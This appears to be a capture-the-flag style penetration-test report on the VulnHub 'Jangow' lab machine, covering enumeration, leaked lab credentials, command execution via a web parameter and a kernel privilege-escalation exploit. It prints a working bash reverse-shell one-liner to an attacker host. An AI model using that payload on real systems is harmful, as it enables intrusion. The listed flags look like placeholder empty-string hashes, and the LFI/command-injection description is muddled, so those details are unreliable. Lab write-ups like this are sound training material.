Penetration Testing Report

Target Machine: Jangow (VulnHub)

Report Compiled By: Karandeep Singh Sehgal

Date: 4 June 2025

# 1. Executive Summary

This report documents the exploitation process of the "Jangow" machine from VulnHub. The machine was compromised through a local file inclusion vulnerability that allowed remote code execution and privilege escalation via a known kernel exploit. Full system compromise was achieved.

# 2. Target Information

- IP Address: 192.168.56.118

- Services:

- FTP (Port 21)

- HTTP (Port 80)

# 3. Methodology

3.1 Scanning and Enumeration

- Nmap Scan:

- Discovered ports 21 (FTP) and 80 (HTTP)

- Service versions not reliably identified

- Gobuster Scan:

- Revealed "/site" directory on the web server

3.2 Web Enumeration

- The `/site` directory had a vulnerable search functionality (`buscar=`) allowing Local File Inclusion (LFI)

- Exploiting this revealed internal server paths and configuration files

3.3 Credentials Disclosure

- Found `config.php` file disclosing credentials:

- Username: desafio02

- Password: abygurl69 (did not work for FTP)

- Found a `.backup` file containing:

- Username: jangow01

- Password: abygurl69 (valid for FTP)

# 4. Exploitation

4.1 Remote Code Execution via LFI

- The `buscar=` parameter accepted shell commands

- Payload used (URL-encoded):

## Payload

/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'

# 4.2 Post-Exploitation Enumeration

- Ran `linpeas.sh` for privilege escalation checks

- Identified kernel vulnerability CVE-2017-16995

# 4.3 Privilege Escalation

- Uploaded local exploit code (`45010.c`) via FTP

- Compiled exploit on target using `gcc`

- Gained root shell

# 5. Post-Exploitation

5.1 Flags Captured

- User Flag:

## User Flag

d41d8cd98f00b204e9800998ecf8427e

## Root Flag

da39a3ee5e6b4b0d3255bfef95601890afd80709

# 5.2 Notable Files Used

- `revshell.php`: Reverse shell script (upload attempt via FTP failed)

- `45010.c`: Kernel exploit source code

# 6. Recommendations

- Sanitize Input: Properly sanitize user inputs to prevent LFI and RCE.

- Patch System: Upgrade the kernel to patch known exploits like CVE-2017-16995.

- Credential Hygiene: Avoid storing plaintext credentials in backup files.

- FTP Restrictions: Disable FTP upload or allow only for certain IPs with restricted write permissions.

# 7. Conclusion

The Jangow machine was successfully exploited by chaining a local file inclusion vulnerability into a remote shell and leveraging a kernel vulnerability for full system compromise. The exercise demonstrates the importance of secure coding practices and regular system patching.